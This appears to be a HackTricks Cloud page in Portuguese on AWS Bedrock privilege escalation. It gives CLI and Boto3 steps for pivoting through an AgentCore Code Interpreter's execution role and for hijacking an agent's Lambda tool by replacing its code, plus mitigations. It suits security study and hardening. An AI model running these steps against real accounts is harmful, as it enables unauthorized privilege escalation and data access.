AWS - Bedrock PrivEsc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter é um ambiente de execução gerenciado. Custom Code Interpreters podem ser configurados com um executionRoleArn que “fornece permissões para que o code interpreter acesse serviços AWS”.
Se um principal IAM com menos privilégios conseguir iniciar + invocar uma sessão de Code Interpreter configurada com um execution role mais privilegiado, o chamador pode efetivamente pivotar para as permissões do execution role (lateral movement / privilege escalation dependendo do escopo da role).
Note
Isso normalmente é um problema de misconfiguration / permissões excessivas (conceder permissões amplas à role de execução do interpreter e/ou conceder acesso amplo de invoke). A AWS avisa explicitamente para evitar privilege escalation garantindo que as execution roles tenham privilégios iguais ou menores do que as identidades autorizadas a invocar.
Precondições (misconfiguration comum)
- Existe um custom code interpreter com uma execution role com privilégios excessivos (ex: acesso a S3/Secrets/SSM sensíveis ou capacidades parecidas com IAM-admin).
- Um usuário (developer/auditor/identidade de CI) tem permissões para:
- iniciar sessions:
bedrock-agentcore:StartCodeInterpreterSession - invocar tools:
bedrock-agentcore:InvokeCodeInterpreter - (Opcional) O usuário também pode criar interpreters:
bedrock-agentcore:CreateCodeInterpreter(permite criar um novo interpreter configurado com uma execution role, dependendo das guardrails da organização).
Recon (identificar custom interpreters e uso da execution role)
Liste interpreters (control-plane) e inspecione sua configuração:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
O comando create-code-interpreter suporta
--execution-role-arn, que define quais permissões AWS o interpreter terá.
Step 1 - Start a session (isso retorna um sessionId, não um shell interativo)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Step 2 - Invoke code execution (Boto3 or signed HTTPS)
Não há interactive python shell de start-code-interpreter-session. A execução acontece via InvokeCodeInterpreter.
Option A - Boto3 example (execute Python + verify identity):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
Se o interpreter estiver configurado com uma execution role, a saída de sts:GetCallerIdentity() deve refletir a identidade dessa role (não a do low-priv caller), demonstrando o pivot.
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Impact
- Lateral movement para qualquer acesso AWS que a role de execução do interpreter tenha.
- Privilege escalation se a role de execução do interpreter for mais privilegiada do que o caller.
- Detecção mais difícil se os CloudTrail data events para invocações do interpreter não estiverem habilitados (as invocações podem não ser registradas por padrão, dependendo da configuração).
Mitigations / Hardening
- Least privilege no
executionRoleArndo interpreter (trate isso como Lambda execution roles / CI roles). - Restrict who can invoke (
bedrock-agentcore:InvokeCodeInterpreter) e quem pode iniciar sessions. - Use SCPs para negar InvokeCodeInterpreter exceto para approved agent runtime roles (a aplicação em nível de org pode ser necessária).
- Habilite os CloudTrail data events apropriados para AgentCore quando aplicável; gere alertas para invocações inesperadas e criação de sessions.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda
Bedrock Agents podem usar Lambda-backed action groups como tools (external execution). Se um principal puder modificar o code de uma função Lambda usada por um agent, e depois puder invocar o agent, ele pode executar code controlado pelo attacker sob a Lambda execution role.
Note
Isto é um cross-service trust abuse (Bedrock → Lambda), não uma vulnerabilidade. O attacker pode não conseguir invocar a Lambda diretamente, mas ainda pode acioná-la via o agent.
Preconditions (common misconfiguration)
- Existe um Bedrock Agent com um action group backed by a Lambda function
- O attacker tem:
lambda:UpdateFunctionCodebedrock:InvokeAgent- A Lambda execution role tem permissões mais amplas do que o attacker
- O attacker consegue identificar a Lambda usada pelo agent
Recon
Enumerate agent action groups:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Inspecionar Lambda:
aws lambda get-function --function-name <FUNCTION_NAME>
Exploitation
Substitua o código Lambda:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
Example payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
Disparar via agent:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
Impacto
- Escalada de privilégios para a Lambda execution role
- Exfiltração de dados de AWS services
- Abuso entre services via trusted agent execution
Mitigações
- Restrinja
lambda:UpdateFunctionCode - Use Lambda roles com least-privilege
- Monitore mudanças no código da Lambda
- Audite o uso de tools do Bedrock agent
Referências
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

